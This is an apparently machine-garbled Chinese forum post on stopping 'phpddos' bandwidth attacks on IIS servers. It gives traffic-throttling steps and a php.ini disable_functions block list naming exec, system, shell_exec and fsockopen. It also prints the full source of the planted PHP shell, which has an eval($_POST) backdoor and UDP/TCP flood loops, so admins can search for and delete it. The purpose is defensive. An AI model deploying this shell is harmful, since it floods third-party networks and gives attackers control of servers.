phpddos流量攻击预防方法
这类攻击有一个最大的特性，就是上传流量霎时增大，通常流量高达数十以至近百M，将整台效 劳器，以至将整台机柜的宽带堵住，使网站无法运转，而这样的攻击，我们无法从远程处理，一但那个phpshell运转，你的宽带将被全部占用，远程都无法 衔接。 <br /><br /> 被攻击后能做的只要联络机房的工作人员，让他进到你的效劳器里把你的IIS关掉，再没查分明是哪个站点被入侵时，尽量一个站点也不要开，以免再 次遭到攻击，怎样看是不是这个攻击呢，不能说关掉ISS好了，就是这种攻击了，而要依据更精确的查看，才能够肯定是什么问题，翻开360平安卫士，然后翻 开功用大全，到里面找到流量防火墙，在这里你能够看到每一个进程的上传和下载流量的几，留意躲藏的系统效劳也要点开看一下，普通都是上传超大才是 phpddos攻击，而且普通都会在w3wp.exe和mysql.exe上传流量会很大，最小也几百M，最大几G，好晓得是这个攻击了，我们就来想方法 处理。 <br /><br /> <strong>处理办法：</strong> <br /><br /> 1.应用360流量防火墙，把w3wp.exe和mysql.exe的上传流量限制一下，依据你效劳器本身宽带的状况停止限制，普通限制在 200—300KB都没什么问题，这样就不怕phpshell发起大流量攻击了，不过这个方法有一个缺陷，就是当你重新启动效劳器时，你之前所限制 w3wp.exe和mysql.exe就不起作用了，要重新限制一下，用这个办法的朋友一定要留意这一点。 <br /><br /> 2.经过更改php运转环境来处理，翻开php.ini找到disable_functions=这项，然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 将allow_url_fopen = Off，再找到extension=php_sockets.dll这项，把前面加上分号，就是屏蔽掉这项。 <br /><br /> 3.经过查找攻击源处理，批量查找一切网站内能否存在phpshell攻击源代码，源代码为(由于代码太乱以图片方式展现给大家)如图： <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode1"> <br /><?php <br />eval($_POST); <br />set_time_limit(86400); <br />ignore_user_abort(True); <br />$packets = 0; <br />$http = $_GET['http']; <br />$rand = $_GET['exit']; <br />$exec_time = $_GET['time']; <br />if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) <br />{ <br />if(StrLen($_GET['rat'])<>0) <br />{ <br />echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; <br />exit; <br />} <br />echo "Php 2012 Terminator"; <br />exit; <br />} <br />for($i=0;$i<65535;$i++) <br />{ <br />$out .= "X"; <br />} <br />//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center <br />$max_time = time()+$exec_time; <br />if($rand==53) <br />while(1) <br />{ <br />$packets++; <br />if(time() > $max_time) <br />{ <br />break; <br />} <br />$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); <br />if($fp) <br />{ <br />fwrite($fp, $out); <br />fclose($fp); <br />} <br />} <br />else <br />if($rand==500) <br />while(1) <br />{ <br />$packets++; <br />if(time() > $max_time){ <br />break; <br />} <br />$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); <br />if($fp) <br />{ <br />fwrite($fp, $out); <br />fclose($fp); <br />} <br />} <br />else <br />while(1) <br />{ <br />$packets++; <br />if(time() > $max_time){ <br />break; <br />} <br />$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); <br />if($fp) <br />{ <br />fwrite($fp, $out); <br />fclose($fp); <br />} <br />} <br />?> <br /></div><br />经过批量查找网站内能否有类似上图的源码，找到后删除，把网站权限设置为不可写入，这样在没有修补好这个网站破绽前，不会再被植入木马了。
頁:
[1]